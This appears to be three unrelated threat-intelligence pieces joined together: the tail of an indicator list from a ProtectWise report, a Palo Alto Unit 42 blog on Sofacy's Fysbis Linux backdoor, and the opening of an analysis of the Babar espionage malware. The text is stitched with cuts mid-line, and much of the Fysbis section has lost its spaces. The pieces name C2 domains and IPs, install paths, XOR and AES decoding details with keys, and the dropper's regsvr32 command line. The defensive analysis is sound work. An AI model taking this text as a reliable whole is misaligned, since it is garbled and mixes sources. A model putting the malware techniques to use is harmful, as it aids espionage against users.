]tokyo Domain mail[.]ipv6[.
]la Domain mail[.]ipv6[.
]red Domain mail[.]loved[.
]tokyo Domain mail[.]multicons[.
]net Domain mail[.]newbie[.
]red Domain mail[.]nteng[.
]xyz Domain mail[.]violet[.
]la Domain mail[.]whoami[.
]la Domain multicons[.
]net Domain my[.]pal[.]violet[.
]la Domain naoteng[.
]top Domain naotengml[.
]xyz Domain newbie[.
]red Domain no[.]ip[.]detect[.]if[.]using[.]ipv6[.
]la Domain nobody[.]will[.]know[.]whoami[.
]la Domain nteng[.
]xyz 24 Domain on-line[.]connection[.]violet[.
]la Domain packet[.]ipv6[.
]la Domain people[.]do[.]not[.]need[.]to[.]be[.]fixed[.]they[.]need[.]to[.]be[.
]l oved[.
]tokyo Domain percuma[.]berteman[.]sama[.]newbie[.
]red Domain psycho[.
]red Domain pure[.]newbie[.
]red Domain pv6[.
]red Domain rosemarry[.
]asia Domain secret[.]whoami[.
]la Domain sekarang[.]waktunya[.]pake[.]ipv6[.
]red Domain silent[.]whoami[.
]la Domain sky[.]violet[.
]la Domain teng123[.
]top Domain ti[.]vengo[.]sul[.]perizoma[.]ipv6[.
]la Domain top106[.
]top Domain uhh[.]yeah[.]whoami[.
]la Domain ultra[.]violet[.
]la Domain using[.]ipv6[.
]la Domain violet[.
]la Domain whoami[.
]la Domain xops[.]violet[.
]la WHOIS Email 18277225531163[.
]com WHOIS Email 253125567qq[.
]com WHOIS Email ykcrewzyahoo[.
]com 25 Area 5: Type Indicator Domain toya[.]co[.
]kr Domain war[.]eatuo[.
]com Domain war[.]geekgalaxy[.
]com Domain war[.]webok[.
]net Domain war[.]winxps[.
]com Domain winxps[.
]com Domain mail[.]winxps[.
]com Domain ad1[.]winxps[.
]com Domain 69f319a6-10c4-4792-9caf-ec3b3c4b5314[.]winxps[.
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]com Domain duoxiantong[.
]com Domain find-iphone-icloudcn[.
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]net Domain www[.]xunsuhulian[.
]com Domain xgyun[.
]vip Domain xiangyunhulian[.
]com Domain xiangyunvps[.
]net Domain xunsuhulian[.
]com MD5 File Hash 3b58e122d9e17121416b146daab4db9d MD5 File Hash b6be3f0864354a2e68144d17c3884d3b MD5 File Hash d848d4ec24e678727b63251e54a0a5de WHOIS Email huajue1019qq[.
]com WHOIS Email huajue1019vip.qq[.
]com WHOIS Email huanjue1019qq[.
]com WHOIS Email rooteritoutlook[.
]com SSL Cert SHA1 5a1c6ae9e2633df29c01a2668538e0203de375b2 44 About 401TRG 401TRG (Threat Research Group) is the Threat Research  Analysis Team at ProtectWise.
Using our experience and background in incident response and network forensics in both the public and private sectors, we study ProtectWises extensive network-oriented datasets.
This work is focused around network traffic analysis, reverse engineering malware, building behavioral detections, and much more.
We are sharing our knowledge and intelligence discoveries with fellow network defenders and information security professionals to strengthen the community as a whole.
2018 ProtectWise, Inc. All rights reserved.
45
4/3/2016 A Look Into Fysbis: Sofacys Linux Backdoor - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/ 1/10 Home BlogHome Applipedia ThreatVault Reports Tools English 1.866.320.4788 Support Resources Research Search  Search Tweet 34 ALookIntoFysbis:SofacysLinuxBackdoor postedby:BryanLeeandRobDownsonFebruary12,20163:00PM filedin:Malware,ThreatPrevention,Unit42 tagged:Fysbis,Linux,Sofacy Introduction TheSofacygroup,alsoknownasAPT28andSednit,isafairlywellknowncyberespionagegroupbelievedtohavetiestoRussia.
Theirtargetshavespannedallacrosstheworld,withafocusongovernment,defenseorganizationsandvariousEastern Europeangovernments.
Therehavebeennumerousreportsontheiractivities,totheextentthataWikipediaentryhasevenbeen createdforthem.
Fromthesereports,weknowthatthegroupusesanabundanceoftoolsandtactics,rangingacrosszerodayexploitstargeting commonapplicationssuchasJavaorMicrosoftOffice,heavyuseofspearphishingattacks,compromisinglegitimatewebsitesto stagewateringholeattacks,andtargetingoveravarietyofoperatingsystemsWindows,OSX,Linux,evenmobileiOS.
TheLinuxmalwareFysbisisapreferredtoolofSofacy,andthoughitisnotparticularlysophisticated,Linuxsecurityingeneralis stillamaturingarea,especiallyinregardstomalware.
Inshort,itisentirelyplausiblethatthistoolhascontributedtothesuccess ofassociatedattacksbythisgroup.
ThisblogpostfocusesspecificallyonthisLinuxtoolpreferredbySofacyanddescribes considerationsandimplicationswhenitcomestoLinuxmalware.
MalwareAssessment FysbisisamodularLinuxtrojan/backdoorthatimplementspluginandcontrollermodulesasdistinctclasses.
Forreference, somevendorscategorizethismalwareundertheSednitattackergroupnamingdesignation.
Thismalwareincludesboth32bitand 64bitversionsofExecutableandLinkingFormat(ELF)binaries.
Additionally,Fysbiscaninstallitselftoavictimsystemwithor withoutrootprivileges.
Thisincreasestheoptionsavailabletoanadversarywhenitcomestoselectingaccountsforinstallation.
Summaryinformationforthethreebinariesweanalyzedfollows: MD5 364ff454dcf00420cff13a57bcb78467 SHA256 8bca0031f3b691421cb15f9c6e71ce19335 5d2d8cf2b190438b6962761d0c6bb ssdeep 3072:n1R4tREtGN4qyGCXdHPYK9l0H786 O26BmMAwyWMn/qwwiHNl:n1R43QcIL XdF0w6IBmMAwwCwwi Size 141.2KB(144560bytes) Type ELF64bit(stripped) Installasroot /bin/rsyncd 109 Like http://paloaltonetworks.com/ http://researchcenter.paloaltonetworks.com/ http://applipedia.paloaltonetworks.com/ http://researchcenter.paloaltonetworks.com/threat-vault/ https://www.paloaltonetworks.com/resources/research.html http://researchcenter.paloaltonetworks.com/tools/ https://support.paloaltonetworks.com/ https://www.paloaltonetworks.com/resources.html http://researchcenter.paloaltonetworks.com/ https://twitter.com/intent/tweet?original_refererhttp3A2F2Fresearchcenter.paloaltonetworks.com2F20162F022Fa-look-into-fysbis-sofacys-linux-backdoor2Fref_srctwsrc5EtfwtextA20Look20Into20Fysbis3A20SofacyE28099s20Linux20Backdoortw_ptweetbuttonurlhttp3A2F2Fresearchcenter.paloaltonetworks.com2F20162F022Fa-look-into-fysbis-sofacys-linux-backdoor2FviaPaloAltoNtwks http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/ http://researchcenter.paloaltonetworks.com/author/bryan-lee/ http://researchcenter.paloaltonetworks.com/author/rob-downs/ http://researchcenter.paloaltonetworks.com/malware-2/ http://researchcenter.paloaltonetworks.com/threat-prevention-2/ http://researchcenter.paloaltonetworks.com/unit42/ http://researchcenter.paloaltonetworks.com/tag/fysbis/ http://researchcenter.paloaltonetworks.com/tag/linux/ http://researchcenter.paloaltonetworks.com/tag/sofacy/ https://en.wikipedia.org/wiki/Sofacy_Group http://www.linuxjournal.com/article/1059 4/3/2016 A Look Into Fysbis: Sofacys Linux Backdoor - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/ 2/10 Rootinstalldesc synchronizeandbackupservice Installasnonroot /.config/dbusnotifier/dbusinotifier Nonrootinstall desc systemservicedbusnotifier C2 azureonline[.
]com(TCP/80) UsageTimeframe Late2014 Table1:Sample1Late2014Sofacy64bitFysbis MD5 075b6695ab63f36af65f7ffd45cccd39 SHA256 02c7cf55fd5c5809ce2dce56085ba43795f2 480423a4256537bfdfda0df85592 ssdeep 3072:9ZAxHANuat3WWFY9nqjwbuZf454U NqRpROIDLHaSeWb3LGmPTrIW33HxIajF: 9ZAxHANJAvbuZf454UNrveQLZPTrV3Z Size 175.9KB(180148bytes) Type ELF32bit(stripped) Installasroot /bin/ksysdefd Rootinstalldesc systemkernelservicedefender Installasnonroot /.config/ksysdef/ksysdefd Nonrootinstall desc systemkernelservicedefender C2 198.105.125[.
]74(TCP/80) UsageTimeframe Early2015 Table2:Sample2Early2015Sofacy32bitFysbis MD5 e107c5c84ded6cd9391aede7f04d64c8 SHA256 fd8b2ea9a2e8a67e4cb3904b49c789d57ed 9b1ce5bebfe54fe3d98214d6a0f61 ssdeep 6144:W/D5tpLWtr91gmaVymdckn6BCUd c4mLc2B9:4D5Lqgkcj Size 314.4KB(321902bytes) Type ELF64bit(notstripped) Installasroot /bin/ksysdefd Rootinstalldesc systemkernelservicedefender Installasnonroot /.config/ksysdef/ksysdefd Nonrootinstall desc systemkernelservicedefender C2 mozillaplugins[.
]com(TCP/80) UsageTimeframe Late2015 Table3:Sample3Late2015Sofacy64bitFysbis Overall,thesebinariesareassessedaslowsophistication,buteffective.
TheyepitomizethegrudgingrealitythatAdvanced PersistentThreat(APT)actorsoftendontrequireadvancedmeanstoaffecttheirobjectives.
Rather,theseactorsmoreoftenthan notholdtheiradvancedmalwareandzerodayexploitsinreserveandemployjustenoughresourcestomeettheirgoals.
Itisonly fairthatdefendersuseanyshortcutsortricksattheirdisposaltoshortentheamountoftimeittakestoassessthreats.
Inother words,defendersshouldalwayslookforwaystoworksmarterbeforetheyhavetoworkharder.
GettingtheMostOutofStrings Binarystringsalonerevealedagoodamountaboutthesefiles,increasingtheefficacyofactivitiessuchasstaticanalysis categorization(e.g.
,Yara).OneexampleofthisisFysbisinstallationandplatformtargetinginformationforthesamplesinTable1 andTable2.
Figure1:SofacyFysbisinstallationandplatformtargetingfoundinstrings Inthiscase,wecanseethebinaryinstallationpathandlocalreconnaissancetodeterminewhichflavorofLinuxthemalwareis running.
ThisisfollowedbyanumberofLinuxshellcommandstylecommandsrelatedtothemalwareestablishingpersistence.
Anotherexampleofeasilyobtainedinformationfromthesesamplesiscapabilitybased.
https://plusvic.github.io/yara/ 4/3/2016 A Look Into Fysbis: Sofacys Linux Backdoor - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/ 3/10 Figure2:SofacyFysbiscapabilityrelatedleakagethroughstrings Figure2showsinteractivestatus/feedbackstringsthatcangiveadefenderaninitialprofileofcapabilities.
Inadditionto contributingtostaticanalysisdetections,thiscanbeusefulasastartingpointforfurtherincidentresponseprioritizationand qualificationofthethreat.
SymbolicInformationCanShortenAnalysisTime Interestingly,themostrecentELF64bitbinaryweanalyzed(Table3)wasnotstrippedpriortodelivery,whichofferedadditional contextintheformofsymbolicinformation.
DefendersmorefamiliarwithWindowsPortableExecutable(PE)binariescanequate thiswithcompilationofaDebugversionversusaReleaseversion.
Forcomparison,ifweweretoinspectFysbisRemoteShell associatedstringsinoneofthestrippedvariants,wewouldonlyseethefollowing: Figure3:SofacyFysbisstrippedbinarystringreferencestoRemoteShellcapability Comparethiswithwhatisavailablefromthenonstrippedvariant: https://msdn.microsoft.com/en-us/library/ms809762.aspx 4/3/2016 A Look Into Fysbis: Sofacys Linux Backdoor - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/ 4/10 Figure4:SofacyFysbisnonstrippedbinarystringsreferenestoRemoteShellcapability Littlestaticanalysisgiftslikethesecanhelptospeeddefenderenumerationofcapabilitiesandmoreimportantlyfurther contributetocorrelationanddetectionacrossrelatedsamples.
Additionally,thislatestsampledemonstratedminorevolutionofthethreat,mostnotablyintermsofobfuscation.
Specifically,both samplesinTable1andTable2leakedinstallationinformationintheclearwithinbinarystrings.
Thiswasnotthecasewiththe sampleinTable3.Takingacloserlookatthisnonstrippedbinaryusingadisassembler,thefollowingcorrespondstodecoding malwareinstallationinformationforarootprivilegeaccount.
Figure5:AssemblycodeviewofSample3installationdecoding Inthiscase,thesymbolicinformationhintsatthemethodusedfordecoding,withreferencestomask,path,name,andinfobyte arrays.
Figure6:AssemblyviewofSample3rootinstallationrelatedbytearrays Asitturnsout,thereferencedbytemaskisappliedtotheotherbytearraysusingarollingdoubleXORalgorithmtoconstruct malwareinstallationpaths,filenames,anddescriptionsforaLinuxrootaccount.
CorrespondingINSTALLUSERbytearraysexist, whichfacilitatethenonrootinstallationforthetrojan.
Thesamemaskingmethodisalsousedbythebinarytodecodemalware 4/3/2016 A Look Into Fysbis: Sofacys Linux Backdoor - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/ 5/10 configurationC2information,furthershowcasinghowalittlesymbolicinformationcangoalongwaytowardscompletenessand higherconfidenceinassessmentofamalwaresample.
IfyouwouldliketolearnmoreabouthowFysbisworks,thesamplesanalyzedremainfairlyconsistentwiththesampleanalysis foundhere.
InfrastructureAnalysis AsUnit42hasdiscussedindepthinotherblogarticles,wehaveobservedthatadversariesingeneralareseeminglyhesitantin changingtheirinfrastructure.
Thismaybeduetonotwantingtocommitadditionalresources,orsimplyamatterofretaining familiarityforthesakeoftimeliness.
Ineithercase,weseethesametypeofbehaviorherewiththeFysbissamplesinuseby Sofacy.
Theoldestsample(Table1),wasfoundtobeacontothedomainazureonline[.
]com,whichhadalreadybeenwidelypublicizedas aknowncommandandcontroldomainfortheSofacygroup.
UsingpassiveDNS,wecanseethattwooftheoriginalIPsthis domainresolvedto,193.169.244[.]190and111.90.148[.
]148alsomappedtoanumberofotherdomainsthathadbeeninuseby theSofacygroupduringthattimeperiod.
Figure7:Sample1C2resolutions Thefirstofthenewersamples(Table2),continuesthetrendandbeaconstoanIPalsowidelyassociatedwiththeSofacygroup, 198.105.125[.
]74.ThisIPhasbeenmostlyassociatedwiththetoolspecificallyknownasCHOPSTICK,whichcanbereadabout here.
http://vms.drweb.com/virus/?i4276269 https://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf 4/3/2016 A Look Into Fysbis: Sofacys Linux Backdoor - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/ 6/10 Figure8:Sample2C2resolutions Thenewestsample(Table3),introducesapreviouslyunknowncommandandcontrolbeacontomozillaplugins[.
]com.
This activityalignswiththepreviouslyobservedSofacygrouptacticofintegratinglegitimatecompanyreferencesintotheir infrastructurenamingconvention.
NeitherthisnewdomainnortheIPitresolvestohavebeenobservedinthepast,indicatingthat thesampleinTable3maybeassociatedwithanewercampaign.
Comparingthissamplesbinarywiththeothertwohowever, showstherearesignificantsimilaritiesonthecodelevelaswellasintermsofsharedbehavior.
Figure9:Sample3C2resolutions Conclusion Linuxisusedacrossbusinessandhomeenvironmentsandappearsinavarietyofformfactors.
Itisapreferredplatformwithin datacentersandthecloudforbusinesses,aswellasanongoingfavoritewhenitcomestoamajorityofInternetfacingweband applicationservers.
LinuxisalsoatthefoundationofAndroiddevicesandanumberofotherembeddedsystems.
Thevalue propositionofLinuxespeciallywhenitcomestoitsuseintheenterprisecanbebrokenoutintothreeperceivedbenefits:lower totalcostofownership(TCO),security,andfeatureset.
Whilenumbersandcomparisonalonecancontributetomeasurementof TCOandfeatureset,securityrequiresfurtherqualification.
ExpertiseintheLinuxplatformishighlysoughtafteracrossall industriesformultipledisciplines,fromsystemadministrationtobigdataanalyticstoincidentresponse.
ThemajorityofbusinessesstillmaintainWindowsheavyuserenvironmentswherecertaincoreinfrastructurecomponentsalso operateunderWindowsservers(e.g.
,ActiveDirectory,SharePoint,etc.
).Thismeans,fromapracticalperspective,mostofa businesssfocusremainsonsupportingandprotectingWindowsassets.
LinuxremainsamysterytoanumberofenterpriseIT specialistsmostcriticallyfornetworkdefenders.
Identifyingandqualifyingpotentialincidentsrequiresafamiliaritywithwhat 4/3/2016 A Look Into Fysbis: Sofacys Linux Backdoor - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/ 7/10 constitutesnormaloperationinordertoisolateanomalies.
Thesameistrueforanyotherassetinanenvironment,normal operationisentirelydependentonagivenassetsrole/functionintheenterprise.
LackofexpertiseandvisibilityintononWindowsplatformscombineinsomeenvironmentstopresentsignificantrisksagainstan organizationssecurityposture.
Asarecentcaution,theLinuxvulnerabilitydescribedunderCVE20160728furtherdemonstrates thepotentialbreadthofrealworldriskstoassociatedplatforms.
Anaturalextensionofthisexposureisincreasedtargetingbyboth dedicatedandopportunisticattackersacrossvariousmaliciousactormotivations.
Despitethelingeringbelief(andfalsesenseof security)thatLinuxinherentlyyieldshigherdegreesofprotectionfrommaliciousactors,Linuxmalwareandvulnerabilitiesdoexist andareinusebyadvancedadversaries.
Tomitigateassociatedrisksrequirestailoredintegrationofthepeople,processes,and technologyinsupportofprevention,monitoring,anddetectionwithinanenvironment.
Linuxmalwaredetectionandpreventionisnotprevalentatthistime,butPaloAltoNetworkscustomersareprotectedthroughour nextgenerationsecurityplatform: IPSsignature14917deployedtoidentifyandpreventcommandandcontrolactivity TheC2domainsandfilesmentionedinthisreportareblockedinourThreatPreventionproduct.
Indicators Type Value MD5 364ff454dcf00420cff13a57bcb78467 SHA256 8bca0031f3b691421cb15f9c6e71ce193 355d2d8cf2b190438b6962761d0c6bb ssdeep 3072:n1R4tREtGN4qyGCXdHPYK9l 0H786O26BmMAwyWMn/qwwiHNl:n 1R43QcILXdF0w6IBmMAwwCwwi MD5 075b6695ab63f36af65f7ffd45cccd39 SHA256 02c7cf55fd5c5809ce2dce56085ba437 95f2480423a4256537bfdfda0df85592 ssdeep 3072:9ZAxHANuat3WWFY9nqjwbuZf 454UNqRpROIDLHaSeWb3LGmPTrI W33HxIajF:9ZAxHANJAvbuZf454UN rveQLZPTrV3Z MD5 e107c5c84ded6cd9391aede7f04d64c8 SHA256 fd8b2ea9a2e8a67e4cb3904b49c789d 57ed9b1ce5bebfe54fe3d98214d6a0f61 ssdeep 6144:W/D5tpLWtr91gmaVymdckn6 BCUdc4mLc2B9:4D5Lqgkcj Path /bin/rsyncd PathDesc synchronizeandbackupservice Path /.config/dbusnotifier/dbusinotifier PathDesc systemservicedbusnotifier Path /bin/ksysdefd Path /.config/ksysdef/ksysdefd PathDesc systemkernelservicedefender C2 azureonline[.
]com C2 198.105.125[.
]74 C2 mozillaplugins[.
]com C2 Mozillaplagins[.
]com 27PingbacksTrackbacks February13,20165:13AM TheFysbisLinuxBackdoorUsedByRussianHackersBitsHacker February13,20161:09PM FysbisLinux,ElnuevoBackDoordelaFamiliaMalwareTecnoinnovador February14,20168:38AM RussianHackersSpyingOnYourLinuxPCUsingSophisticatedMalwareFysbis..::Froginthebox::.. ..::Froginthebox::.. February15,20165:56AM RussiancyberspygroupusessimpleyeteffectiveLinuxTrojanGeekTechTalk February15,20166:04AM http://www.pcworld.com/article/3023870/security/linux-kernel-flaw-endangers-millions-of-pcs-servers-and-android-devices.html http://researchcenter.paloaltonetworks.com/facebook http://researchcenter.paloaltonetworks.com/twitter http://researchcenter.paloaltonetworks.com/google_plus https://www.addtoany.com/shareurlhttp3A2F2Fresearchcenter.paloaltonetworks.com2F20162F022Fa-look-into-fysbis-sofacys-linux-backdoor2FtitleA20Look20Into20Fysbis3A20SofacyE28099s20Linux20BackdoordescriptionUnit204220takes20a20look20into20Fysbis3A20SofacyE28099s20Linux20backdoor.
http://bitshacker.com/2016/02/13/fysbis-linux-backdoor-used-russian-hackers/ http://tecnoinnovador.com/2016/02/13/fysbis-linux-el-nuevo-backdoor-de-la-familia-malware/ http://www.froginthebox.com/2016/02/14/russian-hackers-spying-on-your-linux-pc-using-sophisticated-malware-fysbis/ http://www.geektechtalk.com/russian-cyberspy-group-uses-simple-yet-effective-linux-trojan/ 4/3/2016 A Look Into Fysbis: Sofacys Linux Backdoor - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/ 8/10 RussiancyberspygroupusessimpleyeteffectiveLinuxTrojanNetworkHunt February15,20166:05AM RussiancyberspygroupusessimpleyeteffectiveLinuxTrojanENetworkNews February15,20167:47AM RussiancyberspygroupusessimpleyeteffectiveLinuxTrojan February15,201610:31AM 2600Solutions,LLC February15,201610:32AM RussiancyberspygroupusessimpleyeteffectiveLinuxTrojan2600Solutions,LLC February15,201612:17PM ALookIntoFysbis:SofacysLinuxBackdoorvyagers February15,20163:17PM RussianCyberespionageGroupUsesLinuxTrojanLIFARS February15,20165:08PM CiberespasrusosutilizantroyanoenLinuxsimpleyefectivoAdictec February15,20169:10PM RussiancyberspygroupusessimpleyeteffectiveLinuxTrojanMicroPenguin February15,20169:27PM ALookIntoFysbis:SofacysLinuxBackdoorPaloAltoNetworksBlogGeorgia2600Hackersirc.2600.net GA2600 February16,20165:10AM RussiancyberspygroupusessimpleyeteffectiveLinuxTrojanTemplarShield February16,20169:53AM RussiancyberspygroupusessimpleyeteffectiveLinuxTrojanAskIT February16,201610:40AM SofacyLinuxAroundCyber February17,20164:56AM LinuxFysbisTrojan,aweaponinthePawnStormsarsenalSecurityAffairs February17,20164:59AM LinuxFysbisTrojan,anewweaponinthePawnStormsarsenalSysterity February17,20161:45PM LinuxFysbisTrojan,anewweaponinthePawnStormsarsenalOSINFO February17,20167:06PM HACKERSRUSOSUTILIZANUNSENCILLOPEROEFECTIVOTROYANOPARAATACARLINUXSR HADDENCONSULTINGGROUP February18,20169:42PM RussiancyberspygroupusessimpleyeteffectiveLinuxTrojanTheSiliconReview February20,20162:52PM WeekendowaLektura20160220bierzcieiczytajcieZaufanaTrzeciaStrona February21,20166:56PM FYSBISSOFACYLinuxz7yBlog February24,20165:01PM WhatisthisFysbisMalware?WARLOCK February24,20165:53PM WhatisthisFysbisMalware?DLITBlog March1,20161:18AM FYSBISSOFACYLinux PostYourComment Name Email http://networkinghunt.com/russian-cyberspy-group-uses-simple-yet-effective-linux-trojan/ http://enetworkingnews.com/russian-cyberspy-group-uses-simple-yet-effective-linux-trojan/ http://blog.cedsolutions.com/1654/russian-cyberspy-group-uses-simple-yet-effective-linux-trojan/ https://2600solutions.com/13524-2/ https://2600solutions.com/linux-borked/ http://vyagers.com/2016/02/15/a-look-into-fysbis-sofacys-linux-backdoor/ http://lifars.com/2016/02/russian-cyberespionage-group-uses-linux-trojan/ http://adictec.com/2016/02/15/ciberespias-rusos-utilizan-troyano-en-linux-simple-y-efectivo/ http://www.micropenguin.co/russian-cyberspy-group-uses-simple-yet-effective-linux-trojan/ http://www.ga2600.com/index.php/2016/02/16/a-look-into-fysbis-sofacys-linux-backdoor-palo-alto-networks-blog/ http://www.templarshield.com/templar-shield-firstwatch/russian-cyberspy-group-uses-simple-yet-effective-linux-trojan/ http://askit.uv.ro/russian-cyberspy-group-uses-simple-yet-effective-linux-trojan/ https://aroundcyber.wordpress.com/2016/02/16/palo-alto-sofacy-linux-backdoor-report/ http://securityaffairs.co/wordpress/44551/hacking/pawn-storm-linux-fysbis-trojan.html http://systerity.com/blog/linux-fysbis-trojan-a-new-weapon-in-the-pawn-storms-arsenal/ http://opensourcesinfo.org/linux-fysbis-trojan-a-new-weapon-in-the-pawn-storms-arsenal/ https://haddensecurity.wordpress.com/2016/02/18/hackers-rusos-utilizan-un-sencillo-pero-efectivo-troyano-para-atacar-linux/ http://thesiliconreview.com/2016/02/russian-cyberspy-group-uses-simple-yet-effective-linux-trojan/ https://zaufanatrzeciastrona.pl/post/weekendowa-lektura-2016-02-20-bierzcie-i-czytajcie/ http://www.z7ys.com/111148.html http://www.akati.com/warlock/?p1769 http://blog.duallayerit.com/2016/02/25/what-is-this-fysbis-malware/ http://www.evil0x.com/posts/14267.html 4/3/2016 A Look Into Fysbis: Sofacys Linux Backdoor - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/ 9/10 Website PostComment Home Government Partners Unit42ThreatIntelligence TechnicalDocumentation AdvancedEndpointProtection GetUpdates Signuptoreceivethelatestnews,cyberthreatintelligenceandresearchfromUnit42.
BusinessEmail Submit SubscribetotheResearchCenterBlog CategoriesArchives SelectaCategory  SelectaMonth More RecentPosts PaloAltoNetworksNewsoftheWeekApril2postedbyAnnaLoughonApril2,2016 DontBeanAprilFool:InsideaCommonPhoneScampostedbyRobertFalconeonApril1,2016 ChannelScoopApril1,2016postedbyLangTibbilsonApril1,2016 HowtheEITestCampaignsPathtoAnglerEKEvolvedOverTimepostedbyBradDuncanonMarch31,2016 Top5ThingstoKnowBeforeYouGotoIgniteConference2016postedbyCatherineCrandallonMarch31,2016 More AboutPaloAltoNetworks PaloAltoNetworksisthenetworksecuritycompany.
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SHOOTING ELEPHANTS page  1 SHOOTING ELEPHANTS DROPPER MD5 9fff114f15b86896d8d4978c0ad2813d SHA-1 27a0a98053f3eed82a51cdefbdfec7bb948e1f36 File Size 693.4 KB (710075 bytes) Compile Time 2011-08-29 11:48:42 IMPLANT MD5 4525141d9e6e7b5a7f4e8c3db3f0c24c SHA-1 efbe18eb8a66e4b6289a5c53f22254f76e3a29bd File Size 585.4 KB (599438 bytes) Compile Time 2011-08-29 13:02:29 Special thanks for their contribution in the making of this report go to Morgan Marquis-Boire, Joan Calvet, Paul Rascagnres, Alex Dulaunoy, Raphael Vinot and the remaining team of CIRCL Luxembourg.
You guys rock \m/ Comments or inquiries please direct to Marion Marschalek (0xF372F2CA).
Babar and the related crowd of animalesque malware will be presented at SyScan15 conference (https://www.syscan.org/) in March 2015.
No elephants were harmed in the making of this report.
This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.
page  2 https://www.syscan.org/ http://creativecommons.org/licenses/by-nc-sa/4.0/ CONTENT 1.
SHOOTING ELEPHANTS....................................................................................4 2.
MISCREANTS DROPPER..................................................................................5 3.
MISCREANTS IMPLANT...................................................................................6 3.1 ANTI-ANALYSIS MEASURES........................................................................6 3.2 BABAR CAME TO STAY................................................................................7 3.3 CONFIGURATION DATA..............................................................................7 3.4 MODUS OPERANDI ELEPHANTI.................................................................9 3.5 FUNCTIONALITY....................................................................................... 10 3.5.1 THE KEYLOGGER MODULE................................................................10 3.5.2 INVADING DESKTOP PROCESSES.......................................................11 3.5.3 I AM ROOT(kit)..................................................................................11 3.6 STOLEN GOODS........................................................................................ 13 3.7 CALLING HOME........................................................................................ 14 4.
BEYOND BABAR............................................................................................. 16 5.
RESOURCES.................................................................................................... 18 6.
APPENDICES.................................................................................................. 19 page  3 1.
SHOOTING ELEPHANTS Subject of this analysis is a fascinating piece of malware, which invades Windows desktop machines and aims at.. well, all the things.
The analyzed malware consists of a dropper and an implant, which invades Windows processes to steal data from instant messengers, softphones, browsers and office applications.
A fully blown espionage kit, so to say, sophisticated almost.
The implant is able to hook APIs of interest in dedicated remote processes, to steal data on the fly.
More interesting than the malware itself though is the path to the associated symbol file, which appears embedded in the dropper.
The analyzed malware samples come with the internal project name Babar64.
Illustration 1  The .pdb path embedded in Babars dropper The myth of Babar has been around for a while in the intelligence community.
Questions have been raised since Le Monde published an article on Babar in 2014 [1] and were recently fuelled by a leaked government presentation found among a stash of documents published in January by Spiegel [2].
The leaked document was authored by the Communications Security Establishment Canada (CSEC) and reports about a potential nation state attack involving malware named Babar.
The actor behind the attacks is assumed to be French inteligence.
Assumptions are based on certain binary attributes, language and location of infrastructure as well as targets.
The binaries at hand fit well with the description CSEC provides, although it is quite clear they are a newer version from what CSEC had uncovered around 2009.
It is not clear whether the compilation timestamps are falsified, but an earlier compilation time than the actual stamp seems unlikely.
Doubtlessly though, the Babar binaries match with a malware strain representing itself as Bunny, as well as a family dubbed NBOT or TFC.
page  4 2.
MISCREANTS DROPPER The dropper operates straight forward it fetches the encrypted DLL from its own binary from outside its resource section, decrypts it and hides it in the file system.
Then it goes on to load the DLL using Windows regsvr32.exe.
To achieve this it spawns a dedicated process with the command line regsvr32.exe /s /n /i APPDATA\DLLNAME.
The DLL name is random but legitimately looking and hardcoded for a specific dropper.
It is also stored as encrypted string in the binary, and has been seen to decrypt to either perf585.dll or dump21cb.dll depending on the dropper.
The encryption algorithm used is AES (Advanced Encryption Standard) with 128-bit keys.
The keys used for decryption are 20 33 AF 73 A9 AC 72 D3 BE E6 A5 73 92 BA 37 6C for the implant filename and A0 0E 3E B3 3A 1C D3 AA A0 BE 3F B3 F9 0A 96 15 for decrypting the binary.
AES is the encryption algorithm of choice throughout the dropper and its implants operations.
Interestingly, the Babar dropper as well as the implant show a similar method of API name obfuscation as the Bunny malware and samples from the NBOT family.
Dedicated APIs are loaded through a resolution function, which searches for library exports by comparing hashes of the export names with a given hash.
For the Babar project though the attackers used an adapted version of SHA-1, as opposed to the simple XOR/ROL hash algorithm which was used in the Bunny project.
After infection the dropper executes a separate command line through spawning a cmd.exe process, which is instructed to wait for 1 second before deleting the dropper binary on disk.
This way the malware reduces forensic artefacts, staying behind after infection.
Curiously though, the regsvr32.exe process used to load the dropped implant remains running.
This way Babar leaves a visible process on the process list during execution.
As the project name Babar64 suggests, dropper and implant are designed to work on 32-bit and on 64-bit Windows versions.
However, process hooking and injection can only affect 32-bit processes due to the bitness of the implant itself.
page  5 3.
MISCREANTS IMPLANT Babars implant is a 32-bit DLL written in C, which upon start injects itself to running processes and invades desktop applications by applying a global Windows hooks.
The implant is capable of logging keystrokes, capture screen shots, spy on installed softphones and instant messengers next to a list of simpler espionage tricks.
Babar is a fully blown espionage tool, built to excessively spy on the users activity on an infected machine.
The DLL dropped by Babar is placed into the application data folder, along with a directory named MSI where the runtime data will be stored.
Babar operates through multiple instances, by injecting its DLL to a maximum of three desktop processes.
This is achieved by loading the Babar DLL to remote processes through a mapped memory object.
Apart from that, Babar comes with a userland rootkit component which applies global Windows hooks to invade all processes on its desktop.
This way Babar can install API hooks for various APIs via Windows Detours technique to actively steal data from arbitrary processes.
3.1 ANTI-ANALYSIS MEASURES Babars anti-analysis measures are sparse.
It is not protected by a runtime packer or crypter, it does not have sandbox detection or anti-debugging measures, most character strings are shown in clear-text.
Babar does show the same obscure treatment for installed anti-virus products as the Bunny malware though.
